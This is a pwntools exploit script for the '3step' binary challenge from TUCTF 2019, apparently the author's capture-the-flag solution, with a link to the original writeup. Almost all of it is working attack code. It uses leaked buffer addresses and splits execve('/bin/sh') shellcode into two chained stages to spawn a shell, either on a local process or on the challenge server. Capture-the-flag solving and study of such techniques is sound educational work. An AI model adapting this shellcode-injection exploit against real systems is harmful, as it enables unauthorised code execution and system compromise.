```
#!/usr/bin/env python2
'''
author : tripoloski
visit : https://tripoloski1337.github.io/
mail : [email protected]
generated by skeloski GEF
'''
import sys
from pwn import *
context.update(arch="i386", endian="little", os="linux", log_level="info",)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/tuCTF-2019/pwn/3step/3step")
elf = ELF(TARGET)

def attach(r):
if LOCAL:
bkps = []
gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
return

def exploit(r):
#attach(r)
r.recvuntil("snacks\n")
buf = int(r.recv(10) , 16)
r.recvuntil("\n")
buf1= int(r.recv(10) , 16)

# source exploit: http://shell-storm.org/shellcode/files/shellcode-752.php
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f
# push 0x6e69622f
# mov ebx, esp
# mov al, 11
# int 0x80

# exploit stage 1
p = asm('''
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
mov edi, '''+ hex(buf1) +'''
jmp edi
''' )

p2 = asm('''
push 0x6e69622f
mov ebx, esp
mov al, 11
int 0x80
''')

print(len(p))
print(len(p2))

log.info("buffer : " + hex(buf) ) # 18
log.info("buffer1 : " + hex(buf1) )# 16

r.sendlineafter("Step 1:",p)
r.sendlineafter("Step 2:",p2)
r.sendlineafter("Step 3:",p32(buf))

r.interactive()
return

if __name__ == "__main__":
if len(sys.argv)==2 and sys.argv[1]=="remote":
REMOTE = True
r = remote("chal.tuctf.com", 30504)
else:
LOCAL = True
r = process([TARGET,])
exploit(r)
sys.exit(0)

```

Original writeup (https://github.com/tripoloski1337/writeup-ctf/blob/master/tuCTF-2019/pwn/3step/exploit.py).